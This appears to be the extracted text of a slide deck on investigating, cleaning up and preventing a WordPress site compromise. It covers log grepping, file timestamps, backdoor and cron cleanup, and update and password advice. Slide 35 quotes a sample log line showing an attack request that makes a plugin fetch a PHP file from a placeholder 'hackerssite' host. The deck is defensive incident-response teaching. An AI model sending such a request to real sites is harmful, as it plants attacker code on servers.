  • 24. Step 2: Forensic Analysis YEEEAAAAHH!
  • 25. Step 2: Forensic Analysis Reality • Lots of digging through log files • Lots of referencing file modifications times • Lots of low-level, tech work
  • 26. Step 2: Forensic Analysis Access Log Files
  • 27. Step 2: Forensic Analysis Access Log Files • First item to check • Look for suspicious POST calls • Looking for the result of the hack to start with, not the cause
  • 28. Step 2: Forensic Analysis POST Calls • Need to sort the good from the bad grep POST access_log | wc -l • 1,412 results What to look for Where to look for it Quickly count the results
  • 29. Step 2: Forensic Analysis POST Calls grep POST access_log | grep -v wp-cron.php | grep –v xmlrpc.php | grep –v /wp-admin | grep –v wp-login.php | wc –l • 516 results -v = inverse match
  • 30. Step 2: Forensic Analysis POST Calls grep POST access_log | grep -v wp-cron.php | grep –v xmlrpc.php | grep –v /wp-admin | grep –v wp-login.php | wc –l • 16 results Only match 200 calls, ie filter out 403 / 404
  • 31. Step 2: Forensic Analysis POST Calls Hopefully narrowed it down to something like this
  • 32. Step 2: Forensic Analysis • File Contents
  • 33. Step 2: Forensic Analysis File Creation / Modification Times • We know the malicious file is wp-content/plugins/legit-looking/plugin/safefile.php • Let’s look at the modification time: ls –l safefile.php -rw-r--r-- 1 fileowner filegroup 99424 Mar 23 2013 safefile.php • Also check the creation time:
  • 34. Step 2: Forensic Analysis File Creation / Modification Times • Also check the creation time: ls –lc safefile.php -rw-r--r-- 1 fileowner filegroup 99424 Apr 18 02:45 safefile.php • Dates can be manipulated! Here’s were we need to search
  • 35. Step 2: Forensic Analysis Recheck Access Logs grep “[18/Apr/2016:02:45” access_log This may give us something like: xxx.xxx.xxx.xxx - - [18/Apr/2016:02:45:00 +1000] "GET /wp-content/plugins/robo- gallery/includes/rbs_gallery_ajax.php?function=file_put_contents(%22http%3A%2F%2F hackerssite%2Fscripts%2Fsafefile.php%22) HTTP/1.1" 200 449954 "-" "Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0“
  • 36. Step 2: Forensic Analysis
  • 37. Step 3: The Clean Up
  • 38. Step 3: The Clean Up Most secure way is to restore from backup
  • 40. Step 3: The Clean Up • 10x as much work If there’s no backups… • Hackers love to leave backdoors to regain access
  • 41. Step 3: The Clean Up Remove infected files • Malicious files • Look for other files They can modify every other file in your site
  • 42. Step 3: The Clean Up Check for Database changes • Inserted users • Updated passwords/ privileges for non- admin users
  • 43. Step 3: The Clean Up Cron Jobs • Scheduled re-infections • Check your web control panel / raw cron
  • 44. Step 3: The Clean Up RBL Blacklists • If you were spamming, automated systems notice • Use an RBL lookup to check - Senderbase (used by Telstra / Optus etc) don’t allow you to automate scans - Nor does Hotmail / Outlook / Office365 / Google
  • 46. Step 4: Prevention Yeah… well… it’s not exactly prevention… But….
  • 48. Step 4: Prevention One critical step UPDATEUPDATE
  • 49. Step 4: Prevention Keep your software up-to-date • Core • Plugins • Themes
  • 50. Step 4: Prevention Keep your software up-to-date • One gotcha to be aware of: Paid Themes with Plugins - may not auto update - may require an active subscription • Remove (don’t just disable) unused themes / plugins
  • 51. Step 4: Prevention Secure Passwords • Unique password per site / login • Use a password manager • Length is more important than complexity (12+ characters is good)
  • 52. Step 4: Prevention Monitoring • Monitor your site performance • Google Webmaster alerts • WordFence / iThemes Security
  • 53. Step 4: Prevention Server / Hosting Protection • CloudFlare Pro / Web Application Firewall • Limit each site to one user • Don’t keep old directories / backups on the server

Editor's Notes

  1. And when I say Google was nice enough….
  2. Unless you’re a large entity, political party of a gaming site where you’ve offended someone… it probably wasn’t directly targeted at you.